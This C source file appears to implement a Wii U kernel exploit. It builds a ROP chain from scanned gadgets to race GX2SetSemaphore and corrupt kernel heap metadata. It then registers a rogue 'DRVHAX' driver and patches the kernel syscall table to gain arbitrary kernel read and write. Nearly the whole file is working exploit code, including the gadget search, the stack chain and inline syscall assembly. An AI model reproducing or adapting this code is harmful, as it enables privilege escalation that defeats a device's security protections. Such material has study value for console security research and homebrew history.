#include "kexploit.h"
#include "coreinit.h"

void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);

/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
	/* Get a handle to coreinit.rpl and gx2.rpl */
	unsigned int coreinit_handle = private_data->coreinit_handle;
	unsigned int gx2_handle = 0;
	OSDynLoad_Acquire("gx2.rpl", &gx2_handle);

	/* Exit functions */
	void (*__PPCExit)();
	void (*_Exit)(int);
	
	OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
	OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
	
	/* Memory functions */
	void (*DCFlushRange)(void *buffer, uint32_t length);
	void (*DCInvalidateRange)(void *buffer, uint32_t length);
	void (*DCTouchRange)(void *buffer, uint32_t length);
	uint32_t (*OSEffectiveToPhysical)(void *vaddr);
	void* (*OSAllocFromSystem)(uint32_t size, int align);
	void (*OSFreeToSystem)(void *ptr);
	OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
	OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
	OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);

	/* OS thread functions */
	bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
	int (*OSResumeThread)(void *thread);
	void (*OSExitThread)();
    int (*OSIsThreadTerminated)(void *thread);
    void (*OSYieldThread)(void);

	OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
	OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);

	/* OSDriver functions */
	uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
	uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
	uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
	uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
	uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
	uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
	uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
	uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);

	/* GX2 functions */
	void (*GX2SetSemaphore)(uint64_t *sem, int action);
	void (*GX2Init)(void *arg);
	void (*GX2Shutdown)(void);
	OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
	OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init);
	OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown);

	/* Init GX2 again */
	GX2Init((void*)0);

	/* Allocate space for DRVHAX */
	uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);

	/* Set the kernel heap metadata entry */
	uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
	metadata[0] = (uint32_t)drvhax;
	metadata[1] = (uint32_t)-0x4c;
	metadata[2] = (uint32_t)-1;
	metadata[3] = (uint32_t)-1;

	/* Find some gadgets */
	uint32_t gx2data[] = {0xFC2A0000};
	uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
	uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
	uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
	uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
	uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
	uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
	uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
	uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000};
	uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000);

	/* Modify a next ptr on the heap */
	uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;

	/* Make a thread to modify the semaphore */
	OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8);
	uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20);
	if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");

	/* Set up the ROP chain */
	thread->gpr[1] = (uint32_t)stack;
	thread->gpr[3] = kpaddr;
	thread->gpr[30] = gx2data_addr;
	thread->gpr[31] = 1;
	thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;

	stack[0x24/4] = r30r31load_addr;					/* Load r30/r31 - stack=0x20 */
	stack[0x28/4] = gx2data_addr;						/* r30 = GX2 data area */
	stack[0x2c/4] = 1;									/* r31 = 1 (signal) */

	stack[0x34/4] = r3r4load_addr;						/* Load r3/r4 - stack=0x30 */
	stack[0x38/4] = kpaddr;

	stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C;	/* GX2SetSemaphore() - stack=0x40 */

	stack[0x64/4] = r30r31load_addr;					/* Load r30/r31 - stack=0x60 */
	stack[0x68/4] = 0x100;								/* r30 = r3 of do_flush = 0x100 */
	stack[0x6c/4] = 1;									/* r31 = r4 of do_flush = 1 */

	stack[0x74/4] = doflush_addr;						/* do_flush() - stack=0x70 */

	stack[0x94/4] = (uint32_t)OSExitThread;

	DCFlushRange(thread, 0x1000);
	DCFlushRange(stack, 0x1000);

	/* Start the thread */
	OSResumeThread(thread);

	/* Wait for a while */
    while(OSIsThreadTerminated(thread) == 0)
    {
        OSYieldThread();
    }

	/* Free stuff */
	private_data->MEMFreeToDefaultHeap(thread);
	private_data->MEMFreeToDefaultHeap(stack);

	/* Register a new OSDriver, DRVHAX */
	char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
	Register(drvname, 6, NULL, NULL);

	/* Modify its save area to point to the kernel syscall table */
	drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);

	/* Use DRVHAX to install the read and write syscalls */
	uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
	CopyToSaveArea(drvname, 6, syscalls, 8);

	/* Clean up the heap and driver list so we can exit */
	kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
	kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);

	/* Shut down GX2 again */
	GX2Shutdown();
}

/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length)
{
    uint8_t *check1 = (uint8_t*) ptr1;
    uint8_t *check2 = (uint8_t*) ptr2;
    uint32_t i;
    for (i = 0; i < length; i++)
    {
        if (check1[i] != check2[i]) return 1;
    }

    return 0;
}

void* memcpy(void* dst, const void* src, uint32_t size)
{
    uint32_t i;
    for (i = 0; i < size; i++)
        ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
    return dst;
}

/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
{
    uint32_t *ptr;

    /* Search code before JIT area first */
    for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
    {
        if (!memcmp(ptr, &code[0], length)) return ptr;
    }

    /* Restart search after JIT */
    for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
    {
        if (!memcmp(ptr, &code[0], length)) return ptr;
    }

    OSFatal("Gadget not found!");
    return (void*)0;
}

/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
{
    uint32_t result;
    asm volatile (
        "li 3,1\n"
        "li 4,0\n"
        "li 5,0\n"
        "li 6,0\n"
        "li 7,0\n"
        "lis 8,1\n"
        "mr 9,%1\n"
        "li 0,0x3400\n"
        "mr %0,1\n"
        "sc\n"
        "nop\n"
        "mr 1,%0\n"
        "mr %0,3\n"
        :	"=r"(result)
        :	"b"(addr)
        :	"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
            "11", "12"
    );

    return result;
}

/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
{
    asm volatile (
        "li 3,1\n"
        "li 4,0\n"
        "mr 5,%1\n"
        "li 6,0\n"
        "li 7,0\n"
        "lis 8,1\n"
        "mr 9,%0\n"
        "mr %1,1\n"
        "li 0,0x3500\n"
        "sc\n"
        "nop\n"
        "mr 1,%1\n"
        :
        :	"r"(addr), "r"(value)
        :	"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
            "11", "12"
        );
}